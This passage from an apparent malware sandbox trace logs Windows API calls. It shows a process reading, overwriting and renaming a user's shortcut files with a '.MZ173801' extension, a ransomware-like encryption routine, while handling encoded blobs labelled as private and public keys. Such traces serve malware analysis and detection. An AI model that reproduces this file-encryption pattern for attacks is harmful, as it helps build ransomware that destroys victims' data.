(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3oPu9_P2sx63bYJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3opu9_p2sx63byj.lnk")) returned 0x20 [0147.153] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3oPu9_P2sx63bYJ.lnk", dwFileAttributes=0x80) returned 1 [0147.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.156] GetCurrentThreadId () returned 0xab4 [0147.156] GetCurrentThreadId () returned 0xab4 [0147.156] GetCurrentThreadId () returned 0xab4 [0147.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.157] GetCurrentThreadId () returned 0xab4 [0147.157] GetCurrentThreadId () returned 0xab4 [0147.157] GetCurrentThreadId () returned 0xab4 [0147.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3oPu9_P2sx63bYJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3opu9_p2sx63byj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.157] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.157] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.157] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f9 [0147.157] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.157] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3f9, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3f9, lpOverlapped=0x0) returned 1 [0147.158] CloseHandle (hObject=0x280) returned 1 [0147.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3oPu9_P2sx63bYJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3opu9_p2sx63byj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.159] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3f9, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3f9, lpOverlapped=0x0) returned 1 [0147.160] CloseHandle (hObject=0x280) returned 1 [0147.161] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3oPu9_P2sx63bYJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3opu9_p2sx63byj.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\B3oPu9_P2sx63bYJ.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\b3opu9_p2sx63byj.lnk.mz173801")) returned 1 [0147.161] GetCurrentThreadId () returned 0xab4 [0147.161] GetCurrentThreadId () returned 0xab4 [0147.161] GetCurrentThreadId () returned 0xab4 [0147.161] GetCurrentThreadId () returned 0xab4 [0147.161] GetCurrentThreadId () returned 0xab4 [0147.161] GetCurrentThreadId () returned 0xab4 [0147.161] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8d62aa, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e8d62aa, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e8fd172, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BEd17CeTok20XCp bu.lnk", cAlternateFileName="BED17C~1.LNK")) returned 1 [0147.162] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.162] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BEd17CeTok20XCp bu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bed17cetok20xcp bu.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8d62aa, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e8d62aa, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e8fd172, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b5)) returned 1 [0147.162] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BEd17CeTok20XCp bu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bed17cetok20xcp bu.lnk")) returned 0x20 [0147.162] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BEd17CeTok20XCp bu.lnk", dwFileAttributes=0x80) returned 1 [0147.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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